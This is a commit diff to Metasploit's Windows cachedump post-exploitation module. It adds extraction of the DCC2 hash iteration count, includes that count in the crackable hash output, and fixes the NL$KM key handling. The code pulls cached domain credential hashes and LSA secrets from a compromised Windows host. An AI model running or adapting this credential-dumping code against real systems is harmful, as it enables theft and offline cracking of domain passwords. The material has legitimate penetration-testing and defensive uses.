Skip to content

Commit 75fab60

Browse files
committed
Add iteration count to cachedump module, fix rapid7#8560
1 parent 86f5f3f commit 75fab60

File tree

1 file changed

+17
-4
lines changed

1 file changed

+17
-4
lines changed

modules/post/windows/gather/cachedump.rb

Lines changed: 17 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -64,6 +64,15 @@ def parse_decrypted_cache(dec_data, s)
6464
vprint_good "Username\t\t: #{username}"
6565
vprint_good "Hash\t\t: #{hash.unpack("H*")[0]}"
6666

67+
if lsa_vista_style?
68+
if (s.iterationCount > 10240)
69+
iterationCount = s.iterationCount & 0xfffffc00
70+
else
71+
iterationCount = s.iterationCount * 1024
72+
end
73+
vprint_good "Iteration count\t: #{s.iterationCount} -> real #{iterationCount}"
74+
end
75+
6776
last = Time.at(s.lastAccess)
6877
vprint_good "Last login\t\t: #{last.strftime("%F %T")} "
6978

@@ -152,6 +161,7 @@ def parse_decrypted_cache(dec_data, s)
152161
[
153162
username,
154163
hash.unpack("H*")[0],
164+
iterationCount,
155165
logonDomainName,
156166
dnsDomainName,
157167
last.strftime("%F %T"),
@@ -168,7 +178,7 @@ def parse_decrypted_cache(dec_data, s)
168178

169179
vprint_good "----------------------------------------------------------------------"
170180
if lsa_vista_style?
171-
return "#{username.downcase}:$DCC2$##{username.downcase}##{hash.unpack("H*")[0]}:#{dnsDomainName}:#{logonDomainName}\n"
181+
return "#{username.downcase}:$DCC2$#{iterationCount}##{username.downcase}##{hash.unpack("H*")[0]}:#{dnsDomainName}:#{logonDomainName}\n"
172182
else
173183
return "#{username.downcase}:M$#{username.downcase}##{hash.unpack("H*")[0]}:#{dnsDomainName}:#{logonDomainName}\n"
174184
end
@@ -195,6 +205,7 @@ def parse_cache_entry(cache_data)
195205
:revision,
196206
:sidCount,
197207
:valid,
208+
:iterationCount,
198209
:sifLength,
199210
:logonPackage,
200211
:dnsDomainNameLength,
@@ -228,7 +239,8 @@ def parse_cache_entry(cache_data)
228239

229240
s.revision = cache_data[40,4].unpack("V")[0]
230241
s.sidCount = cache_data[44,4].unpack("V")[0]
231-
s.valid = cache_data[48,4].unpack("V")[0]
242+
s.valid = cache_data[48,2].unpack("v")[0]
243+
s.iterationCount = cache_data[50,2].unpack("v")[0]
232244
s.sifLength = cache_data[52,4].unpack("V")[0]
233245

234246
s.logonPackage = cache_data[56,4].unpack("V")[0]
@@ -275,6 +287,7 @@ def run
275287
[
276288
"Username",
277289
"Hash",
290+
"Hash iteration count",
278291
"Logon Domain Name",
279292
"DNS Domain Name",
280293
"Last Login",
@@ -319,7 +332,7 @@ def run
319332

320333
vprint_status("Lsa Key: #{lsakey.unpack("H*")[0]}")
321334

322-
print_status("Obtaining LK$KM...")
335+
print_status("Obtaining NL$KM...")
323336
nlkm = capture_nlkm(lsakey)
324337
vprint_status("NL$KM: #{nlkm.unpack("H*")[0]}")
325338

@@ -329,7 +342,7 @@ def run
329342
john = ""
330343

331344
ok.enum_value.each do |usr|
332-
if( "NL$Control" == usr.name) then
345+
if ( !usr.name.match(/^NL\$\d+$/) ) then
333346
next
334347
end
335348

0 commit comments

Comments
 (0)